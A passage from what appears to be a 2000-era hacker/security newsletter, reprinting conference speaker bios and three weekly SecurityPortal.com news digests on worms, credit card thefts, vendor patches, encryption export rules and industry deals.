Famous security paper author - one of those "he could take over the internet if he
felt like it" kind of guys will amaze and amuse with some 0 day exploit training.
Theo DeRaadt - OpenBSD
The leader of the OpenBSD Secure operating system project will talk about securing
operating systems.
Fyodor - www.insecure.org
Author of the award winning Nmap Security Scanner. He also
maintains the popular Insecure.Org web site, the "Exploit World"
vulnerability database, and several seminal papers describing
techniques for stealth port scanning and OS detection via TCP/IP stack
fingerprinting. Fyodor will demonstrate the use of Nmap to identify
subtle security vulnerabilities in a network.
Max Vision - www.maxvision.net - - www.whitehats.com
Security consultant and author of the popular ArachNIDS (www.whitehats.com)
public intrusion signature database will discuss intrusion forensics, attack fakes,
attacker verification, and retaliation.
Dragos Ruiu - dursec.com
Tutorial author, founder of NETSentry Technology, former MPEG and ATM expert for
HP and dursec.com founder; Dragos will be giving the first day's training. Dragos has
instructed tens of thousands of people about digital video and high speed computer
networks in highly rated HP training courses delivered in over 60 cities world-wide. A
long-time security expert and instructor, his course material will explain this intricate
subject through approachable explanations with applications and real-world examples
that will help you apply this important knowledge to your computers immediately.
@HWA
16.0 Security Portal review Jan 16th
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
******* Vendor Corner *******
Entrust - We Bring Trust to e-Business
Entrust Technologies lets you tap into new global e-business markets by
securing applications for Web, e-mail, ERP, VPN, desktop files and folders,
as well as a comprehensive suite of solutions to deliver trusted e-business
transactions to the exploding wireless Internet appliance market. For more
information on this complete range of security solutions for e-business
visit http://www.entrust.com <http://www.entrust.com> .
Come see us at RSA 2000, San Jose, CA, Jan.16-20, 2000, San Jose McEnery
Convention Center, Booth #416.
******* What's new with SecurityPortal.com *******
Linux vs Microsoft: Who solves security problems faster?
Does Open Source plug security holes quickly? We took a look at the
security advisories issued by Microsoft and Red Hat in 1999 to gauge the
time lag between the point of a "general community awareness" of a security
problem and the point at which a patch was released. Find out who won here.
<http://securityportal.com/direct.cgi?/cover/coverstory20000117.html>
SecurityPortal.com is proud to sponsor Techno-Security 2000
April 16-19, 2000
Wyndham Myrtle Beach Resort
Myrtle Beach, South Carolina
This one-of-a-kind conference is intended for private industry, government,
law enforcement decision makers and technical experts interested in, or
involved with information security, operations security, high tech crime and
its prevention.
Featured speakers include: Bill Murray, Dr. Dorothy Denning, Bill Crowell,
Chris Goggans, Kevin Manson, Rick Forno, Dr. Myron Cramer, Don Delaney, Dr.
Terry Gudaitis, Matt Devost and many more...
This year's high intensity tracks will include: Hacker Profiling, Intrusion
Detection, Beginner & Advance Computer Forensics, e-Commerce Security, Body
Armor for Cyber-Cops, Information Terrorism, Live Vulnerability Testing,
Incident Response, Tools for Protecting the Enterprise, PKI, plus many more.
Registration is available on-line at: www.TheTrainingCo.com
<http://www.TheTrainingCo.com> or call 410.703.0332 for more information.
******* Vendor Corner *******
Sponsored by Trend Micro, Inc.
http://www.antivirus.com <http://www.antivirus.com> .
ScanMail for Lotus Notes is a native Domino server application.
- First product to provide complete, scaleable virus protection for Lotus
Notes.
- Detects and removes viruses hidden in databases and email attachments.
- Provides real-time scanning of incoming and outgoing emails through the
Domino server.
- Infection notification and provides a Virus Activity Report to assist in
tracing and securing virus point entry.
- Multi-threaded architecture delivers high performance.
- SmartScan eliminates redundant scanning to maximize server efficiency.
******* Top News *******
January 17, 2000
Welcome to SecurityPortal.com - The focal point for security on the Net.
Biggest news of last week was probably the new encryption export regulations
released by the U.S. We will let you know when our lawyers get through
them. Recent postings in our top news
<http://www.securityportal.com/framesettopnews.html> :
Jan 17, 2000
MSNBC: Microsoft certificate bug crashes Netscape browser
<http://msnbc.com/news/357775.asp> - IIS 4 does not correctly support
56-bit certificates, so when Communicator tries to step up to the highest
level of security (128-bit key length certificates), it simply crashes with
an invalid page fault in NETSCAPE.EXE
ZDNet: Computer glitch gives Canadian Microsoft Web site
<http://www.zdnet.com/zdnn/stories/newsbursts/0,7407,2422989,00.html?chkpt=p
1bn> - a glitch at Network Solutions briefly gave a Canadian ownership of
Microsoft.com and Yahoo.com over the weekend
Jan 15, 2000
ABCNews: Online Credit Hacker May Be Out for Profit
<http://www.apbnews.com/newscenter/internetcrime/2000/01/14/hack0114_01.html
> - While a computer hacker maintains that he stole credit card numbers
from an online retailer as revenge for poor service and a couple of broken
CDs, a security expert believes that Maxus is actually a two-man team in
Russia engaged in a well-organized credit card fraud
FCW: FBI beefs up cyberagent squads nationwide
<http://www.fcw.com/fcw/articles/web-fbi-01-14-00.asp> - The FBI plans to
reinforce its mission to counter cyberattacks with the formation of new
investigative teams specializing in computer intrusions and attacks at all
56 of its field offices around the country. The agency also plans to assign
at least one computer forensics examiner to each field office
ZDNet: Network Associates divides itself
<http://www.zdnet.com/zdnn/stories/news/0,4586,2422403,00.html?chkpt=zdnntop
> - Convinced that six smaller companies can compete better than one big
one, Network Associates gives up on its integrated security strategy
ZDNet: How to steal 2,500 credit cards
<http://www.zdnet.com/zdnn/stories/news/0,4586,2422687,00.html?chkpt=zdnntop
> - Just how easy is it to steal credit card numbers on the Internet? On
Thursday, MSNBC was able to view nearly 2,500 credit card numbers stored by
seven small e-commerce Web sites within a few minutes, using elementary
instructions provided by a source. In all cases, a list of customers and all
their personal information was connected to the Internet and either was not
password-protected or the password was viewable directly from the Web site
Jan 14, 2000
IDG: U.S., EU to meet on data privacy
<http://www.idg.net/idgns/2000/01/14/USEUToMeetOnData.shtml> - The U.S.
government has invited representatives from European Union countries to
Washington D.C. next week to work out an agreement on data privacy before
their self-imposed March deadline
CNet: Security software firm Tripwire plans Linux push
<http://news.cnet.com/news/0-1003-200-1522536.html?dtn.head> - Security
software maker Tripwire is planning to unveil a major expansion into new
types of computing products, especially those running on the Linux operating
system
ZDNet: Crypto compromise a lawyers' delight
<http://www.zdnet.com/zdnn/stories/news/0,4586,2422348,00.html?chkpt=zdhpnew
s01> - It's supposed to make ease encryption export controls. But have the
Clinton Administration's new regs instead created a legal maze?
CA: COMPUTER ASSOCIATES WARNS OF A NEW VARIANT OF THE NEWAPT WORM CALLED
NEWAPTd <http://www.ca.com/press/2000/01/newapt_d.htm> - Computer
Associates International, Inc. yesterday warned computer users of a worm
called "NewApt.D," a new variant belonging to the NewApt family of Win32
worms. The worm uses e-mail and executable attachments to propagate from one
computer to another. This worm has been reported in the wild. The original
NewApt worm was first detected in December 1999
Jan 13, 2000
CA: Virus Alert: COMPUTER ASSOCIATES DISCOVERS A NEW WORM CALLED Plage2000
<http://www.ca.com/press/2000/01/plage2000.htm> - Computer Associates
International, Inc. today warned computer users of a new worm called
Plage2000 which could threaten computer email systems as well as eBusiness
infrastructures. This worm has been reported to be in the wild by CA
customers. CA's antivirus research team is analyzing this worm and will
provide more details as they are determined
InternetNews: Circle Tightens Around Online Credit Card Thief
<http://www.internetnews.com/ec-news/article/0,1087,4_281801,00.html> - Law
enforcement officials may be closing in on Maxus, the Russian cracker who
stole 300,000 credit card numbers from e-tailer CD Universe last month and
dispensed them for free to visitors of his Web site
Microsoft Bulletin: Patch Available for Spoofed LPC Port Request
Vulnerability <http://securityportal.com/topnews/ms00-003.html> - The LPC
vulnerability could allow a user logged onto a Windows NT 4.0 machine from
the keyboard to become an administrator on the machine
Yahoo: NSA Selects Secure Computing to Provide Type Enforcement on Linux
<http://biz.yahoo.com/prnews/000113/ca_secure__1.html> - Secure Computing
Corporation today announced that it has been awarded a sole source contract
by the National Security Agency (NSA) to develop a Secure Linux Operating
System (OS). This contract calls for Secure Computing to apply its patented
Type Enforcement(TM) technology, to develop a robust and secure Linux
platform. This award furthers the goal of Secure to pursue and acquire
contracts that will provide enabling technologies to both the Federal
government infrastructure as well as commercial electronic business
applications
ComputerWorld: Teens steal thousands of Net accounts
<http://www.computerworld.com/home/print.nsf/idgnet/000113DD2E> - 2000 A
group of teen-age computer crackers allegedly used thousands of stolen
Internet accounts to probe the networks of two national nuclear weapons
laboratories, according to law enforcement authorities in California
Commerce Announces Streamlined Encryption Export Regulations
<http://204.193.246.62/public.nsf/docs/60D6B47456BB389F852568640078B6C0> -
The U.S. Department of Commerce Bureau of Export Administration (BXA) today
issued new encryption export regulations which implement the new approach
announced by the Clinton Administration in September
InfoWorld: Oracle turns focus to security with Release 2 of 8i database
<http://infoworld.com/articles/ec/xml/00/01/12/000112ecoracle.xml> - With
an eye on the complex security needs of large electronic-commerce sites,
Oracle next week will introduce Release 2 of its flagship database, Oracle
8i, at the RSA Conference 2000 in San Jose, Calif
FCW: Army establishes Infowar DMZ
<http://www.fcw.com/fcw/articles/web-dmz-01-12-00.asp> - The Army plans to
establish network security demilitarized zones (DMZs) at all its bases
worldwide as part of a plan to beef up its cyberdefenses against network
intrusions and attacks
Jan 12, 2000
FSecure: First Windows 2000 Virus Found
<http://www.fsecure.com/news/2000/20000112.html> - F-Secure Corporation, a
leading provider of centrally-managed, widely distributed security
solutions, today announced the discovery of the first Windows 2000 virus.
Windows 2000 is the upcoming new operating system from Microsoft, due to be
released later this year. The new virus is called Win2K.Inta or
Win2000.Install. It appears to be written by the 29A virus group. It
operates only under Windows 2000 and is not designed to operate at all under
older versions of Windows
Kurt's Closet: Some thoughts on (network) intrusion detection systems
<http://securityportal.com/direct.cgi?/closet/closet20000112.html> - Kurt
makes the case for the necessity of emulated intelligence within intrusion
detection systems and reviews some current research projects in this field
RSA and Lotus Team to Provide Integrated Security for Lotus Notes and Domino
R5 <http://www.rsasecurity.com/news/pr/000111-3.html> - Lotus to integrate
RSA's KEON public key infrastructure software into Notes and Domino R5
ZDNet: Data thief threatens to strike again
<http://www.zdnet.com/zdnn/stories/news/0,4586,2420863,00.html?chkpt=zdhpnew
s01> - An e-mail author claiming to be the thief who released as many as
25,000 stolen credit card numbers earlier this month told NBC News he'll
soon start distributing more card numbers on a new Web site
Wired: Domains Hijacked from NSI
<http://www.wired.com/news/politics/0,1283,33571,00.html> - Network
Solutions' administrative policies are once again being blamed for Internet
domain hijackings that took at least brief control over some major Web
domains
Jan 11, 2000
InternetNews: Cybercash Disputes Hacker's Claim
<http://www.internetnews.com/ec-news/article/0,1087,4_279541,00.html> -
Cybercash Inc. is disputing an 18-year-old Russian cracker's claims that the
company's credit card verification system was penetrated, resulting in the
theft of thousands of credit card numbers from an online music store
FoxNews: Designed for Destruction
<http://www.foxnews.com/vtech/011000/virus.sml> - Deliberately destructive
viruses are on an upward trend, according to Symantec's Antivirus Research
Center (SARC). Approximately 10 percent of 1993 viruses were deliberately
destructive, but in 1997 that number rose to 35 percent. Often masquerading
as innocuous e-mail, games or even fixes to real problems like the Y2K bug,
today's viruses are more insidious than their counterparts were only a few
years ago
Wired: Crack Exposes Holes in the Web
<http://www.wired.com/news/technology/0,1282,33563,00.html> - There are Web
site cracks, there are break-ins, and there are thefts. But now and then one
rises above the fray to teach a sudden lesson about all things Internet
NWFusion: Win 2000 VPN technology causes stir
<http://www.nwfusion.com/news/2000/0110vpn.html> - When it ships next
month, Microsoft's Windows 2000 will come with technology for setting up an
IP Security-based virtual private network. The question is: Will established
VPN products from other vendors work with Microsoft's technology?
New Internet Explorer vulnerability discovered by Guninski
<http://securityportal.com/list-archive/bugtraq/2000/Jan/0091.html> -
Georgi Guninski posted a new advisory concerning a new IE 5 security
vulnerablity - circumventing Cross-frame security policy and accessing the
DOM of "old" documents. This vulnerability can potentially allow access to
local data. No response from Microsoft yet
Securing E-Business in the New Millennium
<http://securityportal.com/direct.cgi?/topnews/ebusiness20000111.html> -
this article states the real threat will continue to be from within, and
provides advice on the primarily low tech preventative measures any
organization should take
Jan 10, 2000
Sophos: Virus found on magazine CD ROM
<http://www.sophos.com/devreview.html> - The WM97/Ethan virus was
accidentally distributed on the December 1999 cover CD ROM of Developers
Review magazine. The CD ROM, entitled Bonus CD - Issue 13 - December 1999,
contains one file infected by the WM97/Ethan virus: POPKIN\WHATSNEW.DOC
Cisco: Field Notice: Cisco Secure PIX Firewall Software Version 4.43
Deferral <http://www.cisco.com/warp/public/770/fn10231.html> - Any PIX
Firewall on which version 4.43 software is present will continuously reboot.
No other released versions of PIX Firewall are affected
******* What's new with SecurityPortal.com *******
Email Bombing
Denial of Service (DoS) attacks, strange variants in the computer crime
arena, often occur without clear economic motive. Usually, they arise from
anarchistic impulses within the computer underground. And, email bombing is
one of the easiest DoS attacks for the Huns of the Internet to perfect.
Read the story here
<http://securityportal.com/direct.cgi?/topnews/ebomb20000114.html> .
Tell us how we are doing. Send any other questions or comments to
webmaster@securityportal.com <mailto:webmaster@securityportal.com> .
Jim Reavis
SecurityPortal.com - The focal point for security on the Net
jreavis@SecurityPortal.com <mailto:jreavis@SecurityPortal.com>
@HWA
17.0 Security Portal review Jan 24th
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
******* Vendor Corner *******
Write Your Information Security Policies In A Day!
INFORMATION SECURITY POLICIES MADE EASY is a kit, text and CD, of 1000+
already-written security policies by internationally-known consultant
Charles Cresson Wood. ISPME has JUST BEEN UPDATED and is now available in
Version 7! ISPME v7 is the most comprehensive collection of policies
available covering the latest technology developments and infosec topics.
Each of these policies is accompanied by commentary detailing policy
intention, audience, and the circumstances where it applies. Save weeks of
time and thousands of dollars developing policies for information security
manuals, systems standards, etc. with no consultant fees.
Visit us at http://www.baselinesoft.com <http://www.baselinesoft.com/> for
more information.
******* What's new with SecurityPortal.com *******
The Clock Strikes Midnight for RSA
In a date more feared by RSA Security than Y2K, the patent for the venerable
RSA data encryption algorithm will expire on September 20th of this year. No
longer will RSA be able to charge royalties for the algorithm, first
published by Ron Rivest, Adi Shamir and Leonard Adelman in 1977 and patented
in 1983. After patent expiration, the algorithm will become part of the
public domain, and companies will be free to incorporate the algorithm into
their products without paying RSA any type of royalty or licensing fee.
Although the demise of a 17 year patent for widely used technology is a big
deal, there is also a distinct possibility that, like Y2K, it will turn out
to be a non-event due to the momentum of the established security industry.
Read the full story here.
<http://securityportal.com/direct.cgi?/cover/coverstory20000124.html>
******* Vendor Corner *******
NOW from Entrust Technologies:
All the power of proven Entrust solutions in a managed service.
With Entrust@YourService, you're choosing:
* the leader in bringing trust to e-business
* a solution that will evolve with your e-business needs
* a single, reliable trust backbone for all that you do
Entrust@YourService is the choice for companies like yours that need to
secure e-business quickly and reliably - without losing focus on what you do
best. Click for more info: http://www.entrust.com/choice2
<http://www.entrust.com/choice2>
******* Top News *******
January 24, 2000
Welcome to SecurityPortal.com - The focal point for security on the Net.
Recent postings in our top news
<http://www.securityportal.com/framesettopnews.html> :
Jan 24, 2000
IDG: NEC to unveil world's strongest encryption system
<http://www.idg.net/idgns/2000/01/21/NECToUnveilWorldsStrongestEncryption.sh
tml> - NEC says it will unveil a new encryption technology on Monday that
it claims to be the world's strongest
ZDNet: Mitnick: I was manipulated
<http://www.zdnet.com/zdnn/stories/news/0,4586,2425686,00.html?chkpt=zdnntop
> - Just freed from prison Friday, notorious hacker Kevin Mitnick slammed
prosecutors and a New York Times' reporter for allegedly treating him
unjustly in the court and in the media over the past six years
Jan 21, 2000
Microsoft: Patch Available for "RDISK Registry Enumeration File"
Vulnerability <http://www.microsoft.com/Security/Bulletins/ms00-004.asp> -
Microsoft has released a patch that eliminates a security vulnerability in
an administrative utility that ships with Microsoft® Windows NT® 4.0,
Terminal Server Edition. The utility creates a temporary file during
execution that can contain security-sensitive information, but does not
appropriately restrict access to it. As a result, a malicious user on the
terminal server could read the file as it was being created.
CNN: Microsoft vows security commitment on Windows 2000
<http://www.cnn.com/2000/TECH/computing/01/20/security.win2k.idg/index.html>
- Microsoft is pledging a firm commitment to security with measures such as
equipping its upcoming Windows 2000 operating system with 128-bit encryption
and interacting with users and rival vendors to detect software breaches and
bugs, a high-ranking company official said in a keynote speech at the RSA
Conference 2000 show here Tuesday.
iDEFENSE and Internet Security Systems Form Strategic Alliance
<http://www.iss.net/cgi-bin/dbt-display.exe/db_data/press_rel/release/012100
142.plt> - Infrastructure Defense, Inc. (iDEFENSE), a leading intelligence
and risk management consulting company, and Internet Security Systems (ISS)
(Nasdaq: ISSX), a leading provider of security management solutions for
e-business, announced today a strategic agreement to integrate iDEFENSE and
ISS capabilities, providing customers with an expanded line of information
security offerings. As a result of the agreement, iDEFENSE and ISS will
share expertise, data and resources as well as resell each company's
products and services to respective customers
ZDNet: Hacker Mitnick to be released Friday
<http://www.zdnet.com/zdnn/stories/news/0,4586,2425165,00.html?chkpt=zdhpnew
s01> - Come Friday, for the first time since 1995, Kevin Mitnick will be
free. Will he hack again?
OpenBSD Security Advisory: procfs <http://www.openbsd.org/errata.html> -
Systems running with procfs enabled and mounted are vulnerable to having the
stderr output of setuid processes directed onto a pre-seeked descriptor onto
the stack in their own procfs memory
FreeBSD Security Advisory: make
<http://www.fear.pl/advisory/fid1/main_eng.htm> - make uses the temporary
file in an insecure way, repeatedly deleting and reusing the same file name
for the entire life of the program. This makes it vulnerable to a race
condition wherein a malicious user could observe the name of the temporary
file being used, and replace the contents of a later instance of the file
with her desired commands after the legitimate commands have been written
Jan 20, 2000
Currents: Virus Attacks Cost 12Bil
<http://www.currents.net/newstoday/00/01/20/news14.html> - Virus attacks
cost organizations a total of $12.1 billion during 1999, according to a
report released today. Released by Computer Economics, the report said that
over the last three years there has been a major programming shift as
viruses have become far more malicious and specifically designed for
destruction and damage
UnionTribune: Global Health hit by hacker
<http://www.uniontrib.com/news/computing/20000120-0010_1b20health.html> - A
Poway company selling health products over the Internet was the apparent
victim of a "hacker," who took information containing customer names and
credit-card numbers and posted them on a Web site. The incident occurred
Monday when someone accessed a little-used Web site kept by Global Health
Trax, posted information that had been deleted months ago, then tipped off a
reporter for MSNBC about it
Wired: Say Hello to the NSA
<http://www.wired.com/news/politics/0,1283,33776,00.html> - It wasn't hard
to do if you were at the RSA Security conference this week in San Jose. The
National Security Agency was there, like any other exhibitor, to be seen and
promote technology partnerships
Microsoft Bulletin: Malformed Conversion Data Vulnerability
<http://securityportal.com/topnews/ms00-002.html> - Microsoft has released
a patch that eliminates a security vulnerability in a utility that converts
Japanese, Korean and Chinese Microsoft Word 5 documents to more-recent
formats. A patch is available for the buffer overflow problem
Computer Currents: Symantec Gets Anti Virus Patent
<http://www.computercurrents.com/newstoday/00/01/20/news3.html> - Symantec
has announced that a key technology in its Striker anti-virus engine has
been granted patent rights by the US Patent and Trademark office. The firm
said that the next-generation technology enables the Striker engine to
detect complex polymorphic, or self-mutating, viruses much more rapidly than
traditional anti-virus engines
Wired: Clinton Favors Computer Snooping
<http://wired.com/news/business/0,1367,33779,00.html> - The Clinton
administration wants to be able to send federal agents armed with search
warrants into homes to copy encryption keys and implant secret back doors
onto computers
Computer Currents: Encryption Challenge Beaten
<http://www.computercurrents.com/newstoday/00/01/19/news6.html> - A 56-bit
security challenge laid down by CS Communication & Systemes in March, 1999,
has been cracked in just two months by a team of students working with no
less than 38,000 Internet users around the world
TechWeb: Washington Rep: Encryption Rules Need Work
<http://www.techweb.com/wire/story/TWB20000119S0013> - interview with Rep
Bob Goodlatte. "We think it is almost, but not quite, a 180-degree turn from
[previous policy]," Goodlatte said. "But the problem is the implementation
of it. They've made the application process [for encryption export] complex
and cumbersome."
The Fastest Growing Crime in America: Identity Theft
<http://securityportal.com/direct.cgi?/topnews/identity20000120.html> - One
of the nation's fastest-growing crimes is identity theft. Using a variety of
methods, criminals obtain key pieces of a person's identity and fraudulently
use that information for various illegal reasons. Some law enforcement
officials estimate about 3,000 cases of identity theft a day within the
United States
Jan 19, 2000
InformationWeek: Security Vendors Intro Wireless Tools
<http://www.informationweek.com/story/IWK20000119S0002> - With the ongoing
convergence of Internet and wireless devices such as cell phones and
personal digital assistants, there's heightened awareness of security issues
among vendors and customers. At the RSA 2000 Security Convention in San
Jose, Calif., this week, vendors addressed the issue with a variety of new
products and alliances
InformationWeek: Cisco To Acquire Two VPN Vendors
<http://www.informationweek.com/story/IWK20000119S0003> - Looking to give
users options for building virtual private networks, Cisco Systems today
disclosed plans to supplement its product portfolio by buying VPN vendors
Altiga Networks and Compatible Systems for a combined 567 million in stock
Canoe: Dodging a hack attack
<http://www.canoe.ca/TechNews0001/19_connect.html> - Just how safe is your
data on the Net? The stories are scary: Just before Christmas, a 14-year-old
kid was arrested in Toronto after hacking a company's site and changing the
passwords. He was arrested when he showed up to collect his $5,000 ransom. A
couple of weeks later, a Russian hacker, 'Maxim,' held 300,000 credit card
numbers hostage, demanding CDUniverse pay him US$100,000. To make good on
his threat, he started posting the information publicly. So far, CDUniverse
hasn't paid. And Monday, computer hackers vandalized the 'Thomas' Web site
of the U.S. Library of Congress
NAI: W32/Ska2K.worm virus, Risk Low <http://vil.nai.com/vil/wm10543.asp> -
This edition of the worm is only a minor variation of the original first
identified in February 1999. This worm is detected with current DAT files.
The file may be received by email with a size of 10,000 bytes. The worm if
run will patch WSOCK32.DLL to promote distribution by email on the host
system if the email application supports SMTP email communication. If the
host supports this environment, emails when sent from the host will be
followed by a second message with the worm either attached or included as
MIME
TechWeb: Zero Knowledge Hires Open Source Guru
<http://www.techweb.com/wire/story/TWB20000118S0027> - Mike Shaver, who
headed developer relations for the Mozilla.org project, is joining
Zero-Knowledge Systems, a Montreal company rolling out an identity-cloaking
Internet service
Kurt's Closet: SuSE Linux - a vendor gets security conscious
<http://securityportal.com/direct.cgi?/closet/closet20000119.html> - a look
at the built in security features of SuSE Linux, including an interview with
SuSE security maven Marc Heuse
MSNBC: "Smurf Attack" snarls web service in Seattle over the weekend
<http://www.msnbc.com/local/king/483728.asp> - A "smurf" attack or series
of attacks on an Internet service provider snarled Wide World Web traffic in
as much as 70 percent of the region last weekend, operators of the service
say. See http://securityportal.com/cover/coverstory19990531.html
<http://securityportal.com/cover/coverstory19990531.html> to learn about
Smurf Amplifier Attacks
Jan 18, 2000
Response: Some thoughts on (network) intrusion detection systems
<http://securityportal.com/direct.cgi?/closet/closet20000112-response.html>
- Kurt Seifried responds to the article featured prominently at Linux Today
questioning his analysis of the shortcomings of network-based intrusion
detections. (How much confidence do you have in your ID tools?)
Sophos: Guidelines for Safe Hex
<http://www.sophos.com/virusinfo/articles/safehex.html> - As well as keeping
your anti-virus software up to date there are other ways in which you can
reduce the chances of virus infection inside your company. We list some of
the guidelines you might like to consider for safer computing in your
organisation
TechnologyPost: Hackers target Visa, other big firms
<http://www.technologypost.com/enterprise/DAILY/20000118105052617.asp?Sectio
n=Main> - Visa International has confirmed British press reports at the
weekend that its global network was sniffed by hackers or similar people
unknown last summer, but that its security systems locked down the on-line
sessions before any systems break-ins occurred
Wired: Online Security Remains Elusive
<http://www.wired.com/news/politics/0,1283,33569,00.html> - As e-business
lights up the Web, the critical matter of data security is headed for center
stage. There have been too many security failures in the past and it's going
to get worse, said Paul Kocher, president and chief scientist for
Cryptography Research
FoxNews: Artificial Immunology
<http://www.foxnews.com/vtech/011800/virus2.sml> - Protection and recovery
efforts from hack attacks and viruses account for 2.5 percent - or 25
billion - of global spending on information technology each year. The costs
are so high mainly due to labor-intensive data recovery and productivity
loss from downed systems
Sophos: WM97/Marker-BU a Word 97 macro virus
<http://www.sophos.com/downloads/ide/> - WM97/Marker-BU is a variant of
Marker-R with various changes, and has been seen in the wild. If the date is
between 23rd and 31st of July the virus changes the Application.Caption from
Microsoft Word to Happy Birthday Shankar-25th July. The world may Forget but
not me. It then displays a message box asking Did You curse Shankar on his
Birthday? If you answer Yes another message box appears saying Thank You! I
love you. are u free tonight? However, if you click No a message box appears
saying You are Heart Less. The virus then makes changes to the document
summary
TechWeb: Entrust Launches Security Outsourcing
<http://www.techweb.com/wire/story/TWB20000118S0006> - Entrust, a provider
of public key infrastructure and digital certificate security applications,
on Monday unveiled plans to provide outsourced security services for
business-to-business and business-to-consumer transactions, and said it has
partnered with Cash Tax to host the service
InfoWorld: Panelists debate the issues surrounding cryptography
<http://www.infoworld.com/articles/ic/xml/00/01/17/000117iccrypto.xml> -
Issues including ease of use, governmental regulations, and wireless systems
will be at the forefront of the cryptography realm in upcoming years, a
panel of specialists said Monday at the RSA Conference 2000 show. The
panelists, with affiliations ranging from the Massachusetts Institute of
Technology to Sun Microsystems, urged that a variety of actions be taken by
the industry
Wired: 56 a Bit Short of Secure
<http://www.wired.com/news/technology/0,1282,33695,00.html> - The collective
crackers of Distributed.net have knocked off another 56-bit encryption key,
this time in just over two months
InfoWorld: Verisign aims to secure wireless transactions
<http://www.infoworld.com/articles/ic/xml/00/01/17/000117icverisign.xml> -
At the RSA Conference 2000 show here on Monday, VeriSign unveiled a set of
technologies, services, and alliances to promote trusted, wireless Internet
commerce. Citing the growth in usage of wireless devices, VeriSign Vice
President of Worldwide Marketing Richard Yanowitch said that the initiative
is intended to provide a complete trust infrastructure to the wireless world
PCWorld: The Web Is a Hacker's Playground
<http://www.pcworld.com/current_issue/article/0,1212,14415,00.html> - Can
the Net be crime-proofed? Not as long as there are sloppy programmers and
clever cat burglars
Microsoft Bulletin: Malformed RTF Control Word
<http://securityportal.com/topnews/ms00-005.html> - The control information
is specified via directives called control words. The default RTF reader
that ships as part of many Windows platforms has an unchecked buffer in the
portion of the reader that parses control words. If an RTF file contains a
specially-malformed control word, it could cause the application to crash. A
patch is available for this vulnerability, which can causes a Denial of
Service condition in all Microsoft Operating Systems
Jan 17, 2000
FCW: NSA grapples with Linux security
<http://www.fcw.com/fcw/articles/web-nsalinux-01-17-00.asp> - The National
Security Agency, the super-secret arm of the Defense Department responsible
for signals intelligence and information systems security, last week tapped
Secure Computing Corp. to develop a secure version of the Linux operating
system
IDG: Film studios bring claim against DVD hackers
<http://www.idg.net/idgns/2000/01/17/FilmStudiosBringClaimAgainstDVD.shtml>
- Eight major motion picture companies late last week filed injunction
complaints in U.S. Federal Court against three alleged hackers to prevent
them from publishing an unauthorized DVD de-encryption program on their Web
sites
******* What's new with SecurityPortal.com *******
The Unbreakable Cipher: Why Not Just Stay With Perfection?
John Savard gets under the covers of ciphers to explain why the market uses
DES and RSA algorithms instead of the "perfect" cipher. Read the full story
here. <http://securityportal.com/direct.cgi?/topnews/crypto20000119.html>
Tell us how we are doing. Send any other questions or comments to
webmaster@securityportal.com <mailto:webmaster@securityportal.com> .
Jim Reavis
SecurityPortal.com - The focal point for security on the Net
jreavis@SecurityPortal.com <mailto:jreavis@SecurityPortal.com>
@HWA
18.0 Security Portal Review Jan 31st
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
******* Vendor Corner *******
Sponsored by VeriSign - The Internet Trust Company
Protect your servers with 128-bit SSL encryption today!
Get VeriSign's FREE guide, "Securing Your Web Site for Business". It tells
you everything you need to know about using SSL to encrypt your e-commerce
transactions for serious online security. Click here!
http://www.verisign.com/cgi-bin/go.cgi?a=n016001690008000
<http://www.verisign.com/cgi-bin/go.cgi?a=n016001690008000>
******* What's new with SecurityPortal.com *******
Information Warfare
As the latest buzzword to succeed Y2K on the media's "terror throne,"
information warfare (IW), as a useful term, begs for realistic definition.
No doubt, bin Laden can attack us. Graduate students at Cal Tech, MIT, or
UCLA and tenth-graders at your local high school can also launch "volleys"
against corporate America. How effective such invasions would be is the
critical issue. In the Gulf War, Iraqi anti-aircraft batteries expended vast
rounds against allied planes, and it was almost totally ineffective. Sheer
bulk doesn't always equate to victory. Read the full story here.
<http://securityportal.com/direct.cgi?/cover/coverstory20000131.html>
A Practical Guide to Cryptography
What is it, where do I get it and how do I use it? Kurt Seifried has
developed a How-to for using cryptography with several operating systems.
Find the guide here.
<http://securityportal.com/research/cryptodocs/basic-book/index.html>
******* Vendor Corner *******
NOW from Entrust Technologies:
All the power of proven Entrust solutions in a managed service. With
Entrust@YourService, you're choosing:
* the leader in bringing trust to e-business
* a solution that will evolve with your e-business needs
* a single, reliable trust backbone for all that you do
Entrust@YourService is the choice for companies like yours that need to
secure e-business quickly and reliably - without losing focus on what you do
best. Click for more info: http://www.entrust.com/choice2
<http://www.entrust.com/choice2>
******* Top News *******
January 31, 2000
Welcome to SecurityPortal.com - The focal point for security on the Net.
Recent postings in our top news
<http://www.securityportal.com/framesettopnews.html> :
Jan 31, 2000
ZDNet: What´s wrong with Microsoft security?
<http://www.zdnet.com/zdnn/stories/comment/1,5859,2429536,00.html> - The
term "Microsoft's latest security glitch" has become a cliche. But it didn't
have to
Jan 28, 2000
Wired: Fast, Simple ... and Vulnerable
<http://www.wired.com/news/technology/0,1282,33972,00.html> - A online
bank's opening has been marred by a glitch that let customers transfer money
from any U.S. bank account. Anyone who knew what they were doing could move
funds to an X.com bank account and then withdraw them
ZDNet: Win2000 security hole a 'major threat'
<http://www.zdnet.com/zdnn/stories/news/0,4586,2429334,00.html?chkpt=zdnntop
> - Six banks and three major PC makers affected by bug that lets attackers
view files stored on Microsoft Index Server. Microsoft issues patch.
CNN: DoubleClick suit filed
<http://cnnfn.com/2000/01/28/emerging_markets/wires/doubleclick_wg/> -
Woman accuses Net advertising firm of privacy violations
TechWeb: Axent To Develop Linux Firewall With Cobalt
<http://www.techweb.com/wire/story/TWB20000127S0014> - E-security vendor
Axent Technologies Thursday unveiled a partnership with Cobalt Networks
under which the companies will produce a Linux firewall and virtual private
network appliance for small to midsize companies, branch offices, and
service providers
ComputerWorld: Congress backs federal efforts on Y2K, is wary on security
<http://www.computerworld.com/home/print.nsf/all/000127E416> - Fernando
Burbano, the CIO at the U.S. Department of State, said federal agencies
don't have the money to pursue critical infrastructure protection
initiatives
LinuxJournal: Crackers and Crackdowns
<http://www2.linuxjournal.com/articles/culture/007.html> - DeCSS author Jon
Lech Johansen's home was raided by special police forces at the whim of the
Motion Picture Association, an organization which affectionately refers to
itself as "a little State Department".
Mercury Center: Student charged with hacking
<http://www.mercurycenter.com/svtech/news/indepth/docs/hacker012700.htm> -
A federal grand jury in San Jose on Wednesday indicted a former Princeton
University student suspected of hacking into the computer system of a Palo
Alto e-commerce company and stealing nearly 2,000 credit card numbers.
